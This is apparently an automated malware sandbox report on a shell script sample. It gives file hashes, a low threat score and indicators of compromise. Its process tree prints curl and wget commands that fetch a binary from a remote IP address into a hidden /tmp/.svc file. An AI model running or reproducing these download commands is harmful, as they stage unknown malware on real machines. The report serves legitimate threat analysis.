8922695d0625d1e8a67bdbefe12392ae590c1313d47ac190bc177d05061d5953

Analysis

max time kernel
132s
max time network
149s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
13/09/2026, 17:14

Target
92ab54d8ddfe5a408bb519d720fd58b0745c405991e41ec420f9132cdce57e2f_comment-insertion.sh
Size 831KB
Sample260913-vsf6rsszax
SHA256 8922695d0625d1e8a67bdbefe12392ae590c1313d47ac190bc177d05061d5953
MD5 8ae7dd2d1ef708530e38efe29865e7da
SHA1 a0e4a9d0ba443ec00daa29c8e96c4ec831c01fd6
SHA512 493f51aeb9490402f75f6d7ff239dac16f7e1eda3db0723041dcf1861698ef18a159f5d5eb5adcb6e37c16f3b3ed73008455397d4d2667e47c27f72ed4346ec6
SSDEEP 24576:U4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfkeH:+/o8ZatHiw5ycMVmKkeH
TLSH
T16A052308F11B8C38ED4E3C8CE89EEBDD192520A28B55E1475A6534AE7E347DC807A75F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

discovery

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.IVJiGK	92ab54d8ddfe5a408bb519d720fd58b0745c405991e41ec420f9132cdce57e2f_comment-insertion.sh
File opened for modification	/tmp/.svc	wget

/tmp/92ab54d8ddfe5a408bb519d720fd58b0745c405991e41ec420f9132cdce57e2f_comment-insertion.sh
/tmp/92ab54d8ddfe5a408bb519d720fd58b0745c405991e41ec420f9132cdce57e2f_comment-insertion.sh
1⤵
- Writes file to tmp directory
PID:706
- /bin/uname
  uname -m
  2⤵
  PID:716
- /usr/bin/curl
  curl -s http://103.79.79.21:8899/dl/linux_amd64 -o /tmp/.svc
  2⤵
  - Reads runtime system information
  PID:718
- /usr/bin/wget
  wget -qO /tmp/.svc http://103.79.79.21:8899/dl/linux_amd64
  2⤵
  - Writes file to tmp directory
  PID:813

sh-thd.IVJiGK

Path /tmp/sh-thd.IVJiGK
Size 827KB
SHA256 22bae645a0eb3013a44ff846a2476db484fb474f1cb1c6940caa4dcf73c039aa
MD5 bb189239b1e8a08f4a9ceb19fa949d10
SHA1 78f270dad7982c9cca6466a3a683b1db88011710
SHA512 f6f3536d23aedc3f993af1783744eb333e0d9758d1dd0c1a172ce375db35d2cbc9058e7871c013573d5b86de974c15b01a37b5981e169601dfcef2c6263f8447
SSDEEP 24576:UMOPr9a/8xRaPRwqNwybCRD04ghANIsdJpci7OyY:8e8xyxNwybCacd7cWOyY
TLSH
T12E052308B51B8C3CED0E3C8CE49AEFDC192520A28B55D1871A6534AE7E747DC847E79E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download